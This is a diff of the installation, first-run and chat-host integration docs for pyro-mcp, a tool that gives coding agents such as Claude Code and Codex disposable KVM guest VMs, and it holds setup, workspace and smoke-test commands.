|
||||||
|
Version: 1.0.0
|
||||||
|
Distribution: debian 12
|
||||||
|
Installed: yes
|
||||||
|
Cache dir: /home/you/.cache/pyro-mcp/environments
|
||||||
|
Default packages: bash, coreutils, git
|
||||||
|
Install dir: /home/you/.cache/pyro-mcp/environments/linux-x86_64/debian_12-1.0.0
|
||||||
|
OCI source: registry-1.docker.io/thalesmaciel/pyro-environment-debian-12:1.0.0
|
||||||
|
```
|
||||||
|
|
||||||
|
## 4. Run one command in a guest
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ uvx --from pyro-mcp pyro run debian:12 -- git --version
|
||||||
|
[run] phase=create environment=debian:12
|
||||||
|
[run] phase=start vm_id=...
|
||||||
|
[run] phase=execute vm_id=...
|
||||||
|
[run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=...
|
||||||
|
git version ...
|
||||||
|
```
|
||||||
|
|
||||||
|
The guest command output and the `[run] ...` summary are written to different
|
||||||
|
streams, so they may appear in either order in terminals or capture tools. Use
|
||||||
|
`--json` if you need a deterministic structured result.
|
||||||
|
|
||||||
|
## 5. Start the MCP server
|
||||||
|
|
||||||
|
Warm the daily loop first so the host is already ready for repeated create and
|
||||||
|
reset cycles:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ uvx --from pyro-mcp pyro prepare debian:12
|
||||||
|
Prepare: debian:12
|
||||||
|
Daily loop: WARM
|
||||||
|
Result: prepared network_prepared=no
|
||||||
|
```
|
||||||
|
|
||||||
|
Use a named mode when one workflow already matches the job:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ uvx --from pyro-mcp pyro mcp serve --mode repro-fix
|
||||||
|
$ uvx --from pyro-mcp pyro mcp serve --mode inspect
|
||||||
|
$ uvx --from pyro-mcp pyro mcp serve --mode cold-start
|
||||||
|
$ uvx --from pyro-mcp pyro mcp serve --mode review-eval
|
||||||
|
```
|
||||||
|
|
||||||
|
Use the generic no-mode path when the mode feels too narrow. Bare
|
||||||
|
`pyro mcp serve` still starts `workspace-core`. From a repo root, it also
|
||||||
|
auto-detects the current Git checkout so the first `workspace_create` can omit
|
||||||
|
`seed_path`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ uvx --from pyro-mcp pyro mcp serve
|
||||||
|
```
|
||||||
|
|
||||||
|
If the host does not preserve the server working directory:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ uvx --from pyro-mcp pyro mcp serve --project-path /abs/path/to/repo
|
||||||
|
```
|
||||||
|
|
||||||
|
If you are outside a local checkout:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ uvx --from pyro-mcp pyro mcp serve --repo-url https://github.com/example/project.git
|
||||||
|
```
|
||||||
|
|
||||||
|
## 6. Connect a chat host
|
||||||
|
|
||||||
|
Use the helper flow first:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ uvx --from pyro-mcp pyro host connect codex --mode repro-fix
|
||||||
|
$ uvx --from pyro-mcp pyro host connect codex --mode inspect
|
||||||
|
$ uvx --from pyro-mcp pyro host connect claude-code --mode cold-start
|
||||||
|
$ uvx --from pyro-mcp pyro host connect claude-code --mode review-eval
|
||||||
|
$ uvx --from pyro-mcp pyro host print-config opencode --mode repro-fix
|
||||||
|
```
|
||||||
|
|
||||||
|
If setup drifts later:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ uvx --from pyro-mcp pyro host doctor
|
||||||
|
$ uvx --from pyro-mcp pyro host repair claude-code
|
||||||
|
$ uvx --from pyro-mcp pyro host repair codex
|
||||||
|
$ uvx --from pyro-mcp pyro host repair opencode
|
||||||
|
```
|
||||||
|
|
||||||
|
Claude Code cold-start or review-eval:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ uvx --from pyro-mcp pyro host connect claude-code --mode cold-start
|
||||||
|
$ claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start
|
||||||
|
$ claude mcp list
|
||||||
|
```
|
||||||
|
|
||||||
|
Codex repro-fix or inspect:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ uvx --from pyro-mcp pyro host connect codex --mode repro-fix
|
||||||
|
$ codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix
|
||||||
|
$ codex mcp list
|
||||||
|
```
|
||||||
|
|
||||||
|
OpenCode uses the local config shape shown in:
|
||||||
|
|
||||||
|
- [opencode_mcp_config.json](../examples/opencode_mcp_config.json)
|
||||||
|
|
||||||
|
Other host-specific references:
|
||||||
|
|
||||||
|
- [claude_code_mcp.md](../examples/claude_code_mcp.md)
|
||||||
|
- [codex_mcp.md](../examples/codex_mcp.md)
|
||||||
|
- [mcp_client_config.md](../examples/mcp_client_config.md)
|
||||||
|
|
||||||
|
## 7. Continue into a real workflow
|
||||||
|
|
||||||
|
Once the host is connected, move to one of the five recipe docs in
|
||||||
|
[use-cases/README.md](use-cases/README.md).
|
||||||
|
|
||||||
|
The shortest chat-first mode and story is:
|
||||||
|
|
||||||
|
- [use-cases/repro-fix-loop.md](use-cases/repro-fix-loop.md)
|
||||||
|
|
||||||
|
If you want terminal-level visibility into what the agent gets, use the manual
|
||||||
|
workspace flow below:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ export WORKSPACE_ID="$(uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --id-only)"
|
||||||
|
$ uvx --from pyro-mcp pyro workspace list
|
||||||
|
$ uvx --from pyro-mcp pyro workspace sync push "$WORKSPACE_ID" ./changes
|
||||||
|
$ uvx --from pyro-mcp pyro workspace file read "$WORKSPACE_ID" note.txt --content-only
|
||||||
|
$ uvx --from pyro-mcp pyro workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch
|
||||||
|
$ uvx --from pyro-mcp pyro workspace exec "$WORKSPACE_ID" -- cat note.txt
|
||||||
|
$ uvx --from pyro-mcp pyro workspace summary "$WORKSPACE_ID"
|
||||||
|
$ uvx --from pyro-mcp pyro workspace snapshot create "$WORKSPACE_ID" checkpoint
|
||||||
|
$ uvx --from pyro-mcp pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint
|
||||||
|
$ uvx --from pyro-mcp pyro workspace export "$WORKSPACE_ID" note.txt --output ./note.txt
|
||||||
|
$ uvx --from pyro-mcp pyro workspace delete "$WORKSPACE_ID"
|
||||||
|
```
|
||||||
|
|
||||||
|
Move to the generic no-mode path when the named mode is too narrow. Move to
|
||||||
|
`--profile workspace-full` only when the chat really needs shells, services,
|
||||||
|
snapshots, secrets, network policy, or disk tools.
|
||||||
|
|
||||||
|
## 8. Trust the smoke pack
|
||||||
|
|
||||||
|
The repo now treats the full smoke pack as the trustworthy guest-backed
|
||||||
|
verification path for the advertised workflows:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ make smoke-use-cases
|
||||||
|
```
|
||||||
|
|
||||||
|
That runner creates real guest-backed workspaces, exercises all five documented
|
||||||
|
stories, exports concrete results where relevant, and cleans up on both success
|
||||||
|
and failure.
|
||||||
|
|
||||||
|
For the machine-level warmup plus retry story specifically:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ make smoke-daily-loop
|
||||||
|
```
|
||||||
|
|
||||||
|
## 9. Optional one-shot demo
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ uvx --from pyro-mcp pyro demo
|
||||||
|
{
|
||||||
|
"cleanup": {
|
||||||
|
"deleted": true,
|
||||||
|
"reason": "post_exec_cleanup",
|
||||||
|
"vm_id": "..."
|
||||||
|
},
|
||||||
|
"command": "git --version",
|
||||||
|
"environment": "debian:12",
|
||||||
|
"execution_mode": "guest_vsock",
|
||||||
|
"exit_code": 0,
|
||||||
|
"stdout": "git version ...\n"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
`pyro demo` proves the one-shot create/start/exec/delete VM lifecycle works end
|
||||||
|
to end.
|
||||||
|
|
@ -25,7 +25,19 @@ The current implementation uses `sudo -n` for host networking commands when a ne
|
||||||
pyro doctor
|
pyro doctor
|
||||||
```
|
```
|
||||||
|
|
||||||
Check these fields in the output:
|
In the default human-readable output, check:
|
||||||
|
|
||||||
|
- `Runtime: PASS`
|
||||||
|
- `KVM: exists=yes readable=yes writable=yes`
|
||||||
|
- `Networking: tun=yes ip_forward=yes`
|
||||||
|
|
||||||
|
If you need the raw structured fields instead:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pyro doctor --json
|
||||||
|
```
|
||||||
|
|
||||||
|
Check:
|
||||||
|
|
||||||
- `runtime_ok`
|
- `runtime_ok`
|
||||||
- `kvm`
|
- `kvm`
|
||||||
|
|
|
||||||
292
docs/install.md
292
docs/install.md
|
|
@ -1,56 +1,312 @@
|
||||||
# Install
|
# Install
|
||||||
|
|
||||||
## Requirements
|
`pyro-mcp` is built for chat-based coding agents on Linux `x86_64` with KVM.
|
||||||
|
This document is intentionally biased toward that path.
|
||||||
|
|
||||||
- Linux x86_64 host
|
`pyro-mcp` currently has no users. Expect breaking changes while the chat-host
|
||||||
- Python 3.12+
|
flow is still being shaped.
|
||||||
|
|
||||||
|
## Support Matrix
|
||||||
|
|
||||||
|
Supported today:
|
||||||
|
|
||||||
|
- Linux `x86_64`
|
||||||
|
- Python `3.12+`
|
||||||
- `uv`
|
- `uv`
|
||||||
- `/dev/kvm`
|
- `/dev/kvm`
|
||||||
|
|
||||||
If you want outbound guest networking:
|
Optional for outbound guest networking:
|
||||||
|
|
||||||
- `ip`
|
- `ip`
|
||||||
- `nft` or `iptables`
|
- `nft` or `iptables`
|
||||||
- privilege to create TAP devices and configure NAT
|
- privilege to create TAP devices and configure NAT
|
||||||
|
|
||||||
## Fastest Start
|
Not supported today:
|
||||||
|
|
||||||
Run the MCP server directly from the package without a manual install:
|
- macOS
|
||||||
|
- Windows
|
||||||
|
- Linux hosts without working KVM at `/dev/kvm`
|
||||||
|
|
||||||
|
If you do not already have `uv`, install it first:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
uvx --from pyro-mcp pyro mcp serve
|
python -m pip install uv
|
||||||
```
|
```
|
||||||
|
|
||||||
Prefetch the default official environment:
|
Use these command forms consistently:
|
||||||
|
|
||||||
|
- published package without install: `uvx --from pyro-mcp pyro ...`
|
||||||
|
- installed package: `pyro ...`
|
||||||
|
- source checkout: `uv run pyro ...`
|
||||||
|
|
||||||
|
## Fastest Evaluation Path
|
||||||
|
|
||||||
|
Use either of these equivalent evaluator paths:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
uvx --from pyro-mcp pyro env pull debian:12
|
# Package without install
|
||||||
|
uvx --from pyro-mcp pyro doctor
|
||||||
|
uvx --from pyro-mcp pyro prepare debian:12
|
||||||
|
uvx --from pyro-mcp pyro run debian:12 -- git --version
|
||||||
```
|
```
|
||||||
|
|
||||||
Run one command in a curated environment:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
uvx --from pyro-mcp pyro run debian:12 --vcpu-count 1 --mem-mib 1024 -- git --version
|
# Already installed
|
||||||
|
pyro doctor
|
||||||
|
pyro prepare debian:12
|
||||||
|
pyro run debian:12 -- git --version
|
||||||
```
|
```
|
||||||
|
|
||||||
Inspect the official environment catalog:
|
If you are running from a repo checkout instead, replace `pyro` with
|
||||||
|
`uv run pyro`.
|
||||||
|
|
||||||
|
After that one-shot proof works, the intended next step is a warmed daily loop
|
||||||
|
plus a named chat mode through `pyro host connect` or `pyro host print-config`.
|
||||||
|
|
||||||
|
## 1. Check the host
|
||||||
|
|
||||||
|
```bash
|
||||||
|
uvx --from pyro-mcp pyro doctor --environment debian:12
|
||||||
|
```
|
||||||
|
|
||||||
|
Expected success signals:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
Platform: linux-x86_64
|
||||||
|
Runtime: PASS
|
||||||
|
KVM: exists=yes readable=yes writable=yes
|
||||||
|
Environment cache: /home/you/.cache/pyro-mcp/environments
|
||||||
|
Catalog version: 4.5.0
|
||||||
|
Capabilities: vm_boot=yes guest_exec=yes guest_network=yes
|
||||||
|
Networking: tun=yes ip_forward=yes
|
||||||
|
Daily loop: COLD (debian:12)
|
||||||
|
Run: pyro prepare debian:12
|
||||||
|
```
|
||||||
|
|
||||||
|
If `Runtime: FAIL`, stop here and use [troubleshooting.md](troubleshooting.md).
|
||||||
|
|
||||||
|
## 2. Inspect the catalog
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
uvx --from pyro-mcp pyro env list
|
uvx --from pyro-mcp pyro env list
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Expected output:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
Catalog version: 4.4.0
|
||||||
|
debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows.
|
||||||
|
debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling.
|
||||||
|
debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled.
|
||||||
|
```
|
||||||
|
|
||||||
|
## 3. Pull the default environment
|
||||||
|
|
||||||
|
```bash
|
||||||
|
uvx --from pyro-mcp pyro env pull debian:12
|
||||||
|
```
|
||||||
|
|
||||||
|
The first pull downloads an OCI environment from public Docker Hub, requires
|
||||||
|
outbound HTTPS access to `registry-1.docker.io`, and needs local cache space
|
||||||
|
for the guest image. See [host-requirements.md](host-requirements.md) for the
|
||||||
|
full host requirements.
|
||||||
|
|
||||||
|
Expected success signals:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
[pull] phase=install environment=debian:12
|
||||||
|
[pull] phase=ready environment=debian:12
|
||||||
|
Pulled: debian:12
|
||||||
|
...
|
||||||
|
```
|
||||||
|
|
||||||
|
## 4. Run one command in a guest
|
||||||
|
|
||||||
|
```bash
|
||||||
|
uvx --from pyro-mcp pyro run debian:12 -- git --version
|
||||||
|
```
|
||||||
|
|
||||||
|
Expected success signals:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
[run] phase=create environment=debian:12
|
||||||
|
[run] phase=start vm_id=...
|
||||||
|
[run] phase=execute vm_id=...
|
||||||
|
[run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=...
|
||||||
|
git version ...
|
||||||
|
```
|
||||||
|
|
||||||
|
The guest command output and the `[run] ...` summary are written to different
|
||||||
|
streams, so they may appear in either order. Use `--json` if you need a
|
||||||
|
deterministic structured result.
|
||||||
|
|
||||||
|
## 5. Warm the daily loop
|
||||||
|
|
||||||
|
```bash
|
||||||
|
uvx --from pyro-mcp pyro prepare debian:12
|
||||||
|
```
|
||||||
|
|
||||||
|
That one command ensures the environment is installed, proves one guest-backed
|
||||||
|
create/exec/reset/delete loop, and records a warm manifest so the next
|
||||||
|
`pyro prepare debian:12` call can reuse it instead of repeating the full cycle.
|
||||||
|
|
||||||
|
## 6. Connect a chat host
|
||||||
|
|
||||||
|
Use the helper flow first:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
uvx --from pyro-mcp pyro host connect codex --mode repro-fix
|
||||||
|
uvx --from pyro-mcp pyro host connect codex --mode inspect
|
||||||
|
uvx --from pyro-mcp pyro host connect claude-code --mode cold-start
|
||||||
|
uvx --from pyro-mcp pyro host connect claude-code --mode review-eval
|
||||||
|
uvx --from pyro-mcp pyro host print-config opencode --mode repro-fix
|
||||||
|
```
|
||||||
|
|
||||||
|
If setup drifts later, inspect and repair it with:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
uvx --from pyro-mcp pyro host doctor
|
||||||
|
uvx --from pyro-mcp pyro host repair claude-code
|
||||||
|
uvx --from pyro-mcp pyro host repair codex
|
||||||
|
uvx --from pyro-mcp pyro host repair opencode
|
||||||
|
```
|
||||||
|
|
||||||
|
Use a named mode when one workflow already matches the job:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
uvx --from pyro-mcp pyro mcp serve --mode repro-fix
|
||||||
|
uvx --from pyro-mcp pyro mcp serve --mode inspect
|
||||||
|
uvx --from pyro-mcp pyro mcp serve --mode cold-start
|
||||||
|
uvx --from pyro-mcp pyro mcp serve --mode review-eval
|
||||||
|
```
|
||||||
|
|
||||||
|
Use the generic no-mode path when the mode feels too narrow. Bare
|
||||||
|
`pyro mcp serve` still starts `workspace-core`. From a repo root, it also
|
||||||
|
auto-detects the current Git checkout so the first `workspace_create` can omit
|
||||||
|
`seed_path`.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
uvx --from pyro-mcp pyro mcp serve
|
||||||
|
```
|
||||||
|
|
||||||
|
If the host does not preserve the server working directory, use:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
uvx --from pyro-mcp pyro mcp serve --project-path /abs/path/to/repo
|
||||||
|
```
|
||||||
|
|
||||||
|
If you are starting outside a local checkout, use a clean clone source:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
uvx --from pyro-mcp pyro mcp serve --repo-url https://github.com/example/project.git
|
||||||
|
```
|
||||||
|
|
||||||
|
Copy-paste host-specific starts:
|
||||||
|
|
||||||
|
- Claude Code setup: [claude_code_mcp.md](../examples/claude_code_mcp.md)
|
||||||
|
- Codex setup: [codex_mcp.md](../examples/codex_mcp.md)
|
||||||
|
- OpenCode config: [opencode_mcp_config.json](../examples/opencode_mcp_config.json)
|
||||||
|
- Generic MCP fallback: [mcp_client_config.md](../examples/mcp_client_config.md)
|
||||||
|
|
||||||
|
Claude Code cold-start or review-eval:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pyro host connect claude-code --mode cold-start
|
||||||
|
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start
|
||||||
|
```
|
||||||
|
|
||||||
|
Codex repro-fix or inspect:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pyro host connect codex --mode repro-fix
|
||||||
|
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix
|
||||||
|
```
|
||||||
|
|
||||||
|
OpenCode uses the `mcp` / `type: "local"` config shape shown in
|
||||||
|
[opencode_mcp_config.json](../examples/opencode_mcp_config.json).
|
||||||
|
|
||||||
|
If `pyro-mcp` is already installed, replace `uvx --from pyro-mcp pyro` with
|
||||||
|
`pyro` in the same command or config shape.
|
||||||
|
|
||||||
|
Use the generic no-mode path when the named mode is too narrow. Move to
|
||||||
|
`--profile workspace-full` only when the chat truly needs shells, services,
|
||||||
|
snapshots, secrets, network policy, or disk tools.
|
||||||
|
|
||||||
|
## 7. Go from zero to hero
|
||||||
|
|
||||||
|
The intended user journey is:
|
||||||
|
|
||||||
|
1. validate the host with `pyro doctor --environment debian:12`
|
||||||
|
2. warm the machine with `pyro prepare debian:12`
|
||||||
|
3. prove guest execution with `pyro run debian:12 -- git --version`
|
||||||
|
4. connect Claude Code, Codex, or OpenCode with one named mode such as
|
||||||
|
`pyro host connect codex --mode repro-fix`, then use raw
|
||||||
|
`pyro mcp serve --mode ...` or the generic no-mode path when needed
|
||||||
|
5. use `workspace reset` as the normal retry step inside that warmed loop
|
||||||
|
6. start with one use-case recipe from [use-cases/README.md](use-cases/README.md)
|
||||||
|
7. trust but verify with `make smoke-use-cases`
|
||||||
|
|
||||||
|
If you want the shortest chat-first story, start with
|
||||||
|
[use-cases/repro-fix-loop.md](use-cases/repro-fix-loop.md).
|
||||||
|
|
||||||
|
## 8. Manual terminal workspace flow
|
||||||
|
|
||||||
|
If you want to inspect the workspace model directly from the terminal, use the
|
||||||
|
companion flow below. This is for understanding and debugging the chat-host
|
||||||
|
product, not the primary story.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
uv tool install pyro-mcp
|
||||||
|
WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --id-only)"
|
||||||
|
pyro workspace list
|
||||||
|
pyro workspace update "$WORKSPACE_ID" --label owner=codex
|
||||||
|
pyro workspace sync push "$WORKSPACE_ID" ./changes
|
||||||
|
pyro workspace file read "$WORKSPACE_ID" note.txt --content-only
|
||||||
|
pyro workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch
|
||||||
|
pyro workspace exec "$WORKSPACE_ID" -- cat note.txt
|
||||||
|
pyro workspace summary "$WORKSPACE_ID"
|
||||||
|
pyro workspace snapshot create "$WORKSPACE_ID" checkpoint
|
||||||
|
pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint
|
||||||
|
pyro workspace export "$WORKSPACE_ID" note.txt --output ./note.txt
|
||||||
|
pyro workspace delete "$WORKSPACE_ID"
|
||||||
|
```
|
||||||
|
|
||||||
|
When you need deeper debugging or richer recipes, add:
|
||||||
|
|
||||||
|
- `pyro workspace shell *` for interactive PTY state
|
||||||
|
- `pyro workspace service *` for long-running processes and readiness probes
|
||||||
|
- `pyro workspace create --network-policy egress+published-ports` plus
|
||||||
|
`workspace service start --publish` for host-probed services
|
||||||
|
- `pyro workspace create --secret` and `--secret-file` when the sandbox needs
|
||||||
|
private tokens
|
||||||
|
- `pyro workspace stop` plus `workspace disk *` for offline inspection
|
||||||
|
|
||||||
|
## 9. Trustworthy verification path
|
||||||
|
|
||||||
|
The five recipe docs in [use-cases/README.md](use-cases/README.md) are backed
|
||||||
|
by a real Firecracker smoke pack:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
make smoke-use-cases
|
||||||
|
```
|
||||||
|
|
||||||
|
Treat that smoke pack as the trustworthy guest-backed verification path for the
|
||||||
|
advertised chat-host workflows.
|
||||||
|
|
||||||
## Installed CLI
|
## Installed CLI
|
||||||
|
|
||||||
|
If you already installed the package, the same path works with plain `pyro ...`:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
uv tool install pyro-mcp
|
uv tool install pyro-mcp
|
||||||
pyro --version
|
pyro --version
|
||||||
pyro env list
|
pyro doctor --environment debian:12
|
||||||
pyro env pull debian:12
|
pyro prepare debian:12
|
||||||
pyro env inspect debian:12
|
pyro run debian:12 -- git --version
|
||||||
pyro doctor
|
pyro mcp serve
|
||||||
```
|
```
|
||||||
|
|
||||||
## Contributor Clone
|
## Contributor clone
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
git lfs install
|
git lfs install
|
||||||
|
|
|
||||||
|
|
@ -1,99 +1,257 @@
|
||||||
# Integration Targets
|
# Chat Host Integrations
|
||||||
|
|
||||||
These are the main ways to integrate `pyro-mcp` into an LLM application.
|
This page documents the intended product path for `pyro-mcp`:
|
||||||
|
|
||||||
## Recommended Default
|
- validate the host with the CLI
|
||||||
|
- warm the daily loop with `pyro prepare debian:12`
|
||||||
|
- run `pyro mcp serve`
|
||||||
|
- connect a chat host
|
||||||
|
- let the agent work inside disposable workspaces
|
||||||
|
|
||||||
Use `vm_run` first.
|
`pyro-mcp` currently has no users. Expect breaking changes while this chat-host
|
||||||
|
path is still being shaped.
|
||||||
|
|
||||||
That keeps the model-facing contract small:
|
Use this page after you have already validated the host and guest execution
|
||||||
|
through [install.md](install.md) or [first-run.md](first-run.md).
|
||||||
|
|
||||||
- one tool
|
Recommended first commands before connecting a host:
|
||||||
- one command
|
|
||||||
- one ephemeral VM
|
|
||||||
- automatic cleanup
|
|
||||||
|
|
||||||
Only move to lifecycle tools when the agent truly needs VM state across multiple calls.
|
```bash
|
||||||
|
pyro doctor --environment debian:12
|
||||||
|
pyro prepare debian:12
|
||||||
|
```
|
||||||
|
|
||||||
## OpenAI Responses API
|
## Recommended Modes
|
||||||
|
|
||||||
Best when:
|
Use a named mode when one workflow already matches the job:
|
||||||
|
|
||||||
- your agent already uses OpenAI models directly
|
```bash
|
||||||
- you want a normal tool-calling loop instead of MCP transport
|
pyro host connect codex --mode repro-fix
|
||||||
- you want the smallest amount of integration code
|
pyro host connect codex --mode inspect
|
||||||
|
pyro host connect claude-code --mode cold-start
|
||||||
|
pyro host connect claude-code --mode review-eval
|
||||||
|
```
|
||||||
|
|
||||||
Recommended surface:
|
The mode-backed raw server forms are:
|
||||||
|
|
||||||
- `vm_run`
|
```bash
|
||||||
|
pyro mcp serve --mode repro-fix
|
||||||
|
pyro mcp serve --mode inspect
|
||||||
|
pyro mcp serve --mode cold-start
|
||||||
|
pyro mcp serve --mode review-eval
|
||||||
|
```
|
||||||
|
|
||||||
Canonical example:
|
Use the generic no-mode path only when the named mode feels too narrow.
|
||||||
|
|
||||||
- [examples/openai_responses_vm_run.py](../examples/openai_responses_vm_run.py)
|
## Generic Default
|
||||||
|
|
||||||
## MCP Clients
|
Bare `pyro mcp serve` starts `workspace-core`. From a repo root, it also
|
||||||
|
auto-detects the current Git checkout so the first `workspace_create` can omit
|
||||||
|
`seed_path`. That is the product path.
|
||||||
|
|
||||||
Best when:
|
```bash
|
||||||
|
pyro mcp serve
|
||||||
|
```
|
||||||
|
|
||||||
- your host application already supports MCP
|
If the host does not preserve cwd, fall back to:
|
||||||
- you want `pyro` to run as an external stdio server
|
|
||||||
- you want tool schemas to be discovered directly from the server
|
|
||||||
|
|
||||||
Recommended entrypoint:
|
```bash
|
||||||
|
pyro mcp serve --project-path /abs/path/to/repo
|
||||||
|
```
|
||||||
|
|
||||||
- `pyro mcp serve`
|
If you are outside a repo checkout entirely, start from a clean clone source:
|
||||||
|
|
||||||
Starter config:
|
```bash
|
||||||
|
pyro mcp serve --repo-url https://github.com/example/project.git
|
||||||
|
```
|
||||||
|
|
||||||
- [examples/mcp_client_config.md](../examples/mcp_client_config.md)
|
Use `--profile workspace-full` only when the chat truly needs shells, services,
|
||||||
- [examples/claude_desktop_mcp_config.json](../examples/claude_desktop_mcp_config.json)
|
snapshots, secrets, network policy, or disk tools.
|
||||||
- [examples/cursor_mcp_config.json](../examples/cursor_mcp_config.json)
|
|
||||||
|
|
||||||
## Direct Python SDK
|
## Helper First
|
||||||
|
|
||||||
Best when:
|
Use the helper flow before the raw host CLI commands:
|
||||||
|
|
||||||
- your application owns orchestration itself
|
```bash
|
||||||
- you do not need MCP transport
|
pyro host connect codex --mode repro-fix
|
||||||
- you want direct access to `Pyro`
|
pyro host connect codex --mode inspect
|
||||||
|
pyro host connect claude-code --mode cold-start
|
||||||
|
pyro host connect claude-code --mode review-eval
|
||||||
|
pyro host print-config opencode --mode repro-fix
|
||||||
|
pyro host doctor
|
||||||
|
pyro host repair opencode
|
||||||
|
```
|
||||||
|
|
||||||
Recommended default:
|
These helpers wrap the same `pyro mcp serve` entrypoint, make named modes the
|
||||||
|
first user-facing story, and still leave the generic no-mode path available
|
||||||
|
when a mode is too narrow.
|
||||||
|
|
||||||
- `Pyro.run_in_vm(...)`
|
## Claude Code
|
||||||
|
|
||||||
Examples:
|
Preferred:
|
||||||
|
|
||||||
- [examples/python_run.py](../examples/python_run.py)
|
```bash
|
||||||
- [examples/python_lifecycle.py](../examples/python_lifecycle.py)
|
pyro host connect claude-code --mode cold-start
|
||||||
|
```
|
||||||
|
|
||||||
## Agent Framework Wrappers
|
Repair:
|
||||||
|
|
||||||
Examples:
|
```bash
|
||||||
|
pyro host repair claude-code
|
||||||
|
```
|
||||||
|
|
||||||
- LangChain tools
|
Package without install:
|
||||||
- PydanticAI tools
|
|
||||||
- custom in-house orchestration layers
|
|
||||||
|
|
||||||
Best when:
|
```bash
|
||||||
|
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start
|
||||||
|
claude mcp list
|
||||||
|
```
|
||||||
|
|
||||||
- you already have an application framework that expects a Python callable tool
|
If Claude Code launches the server from an unexpected cwd, use:
|
||||||
- you want to wrap `vm_run` behind framework-specific abstractions
|
|
||||||
|
|
||||||
Recommended pattern:
|
```bash
|
||||||
|
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start --project-path /abs/path/to/repo
|
||||||
|
```
|
||||||
|
|
||||||
- keep the framework wrapper thin
|
Already installed:
|
||||||
- map framework tool input directly onto `vm_run`
|
|
||||||
- avoid exposing lifecycle tools unless the framework truly needs them
|
|
||||||
|
|
||||||
Concrete example:
|
```bash
|
||||||
|
claude mcp add pyro -- pyro mcp serve
|
||||||
|
claude mcp list
|
||||||
|
```
|
||||||
|
|
||||||
- [examples/langchain_vm_run.py](../examples/langchain_vm_run.py)
|
Reference:
|
||||||
|
|
||||||
## Selection Rule
|
- [claude_code_mcp.md](../examples/claude_code_mcp.md)
|
||||||
|
|
||||||
Choose the narrowest integration that matches the host environment:
|
## Codex
|
||||||
|
|
||||||
1. OpenAI Responses API if you want a direct provider tool loop.
|
Preferred:
|
||||||
2. MCP if your host already speaks MCP.
|
|
||||||
3. Python SDK if you own orchestration and do not need transport.
|
```bash
|
||||||
4. Framework wrappers only as thin adapters over the same `vm_run` contract.
|
pyro host connect codex --mode repro-fix
|
||||||
|
```
|
||||||
|
|
||||||
|
Repair:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pyro host repair codex
|
||||||
|
```
|
||||||
|
|
||||||
|
Package without install:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix
|
||||||
|
codex mcp list
|
||||||
|
```
|
||||||
|
|
||||||
|
If Codex launches the server from an unexpected cwd, use:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix --project-path /abs/path/to/repo
|
||||||
|
```
|
||||||
|
|
||||||
|
Already installed:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
codex mcp add pyro -- pyro mcp serve
|
||||||
|
codex mcp list
|
||||||
|
```
|
||||||
|
|
||||||
|
Reference:
|
||||||
|
|
||||||
|
- [codex_mcp.md](../examples/codex_mcp.md)
|
||||||
|
|
||||||
|
## OpenCode
|
||||||
|
|
||||||
|
Preferred:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pyro host print-config opencode
|
||||||
|
pyro host repair opencode
|
||||||
|
```
|
||||||
|
|
||||||
|
Use the local MCP config shape from:
|
||||||
|
|
||||||
|
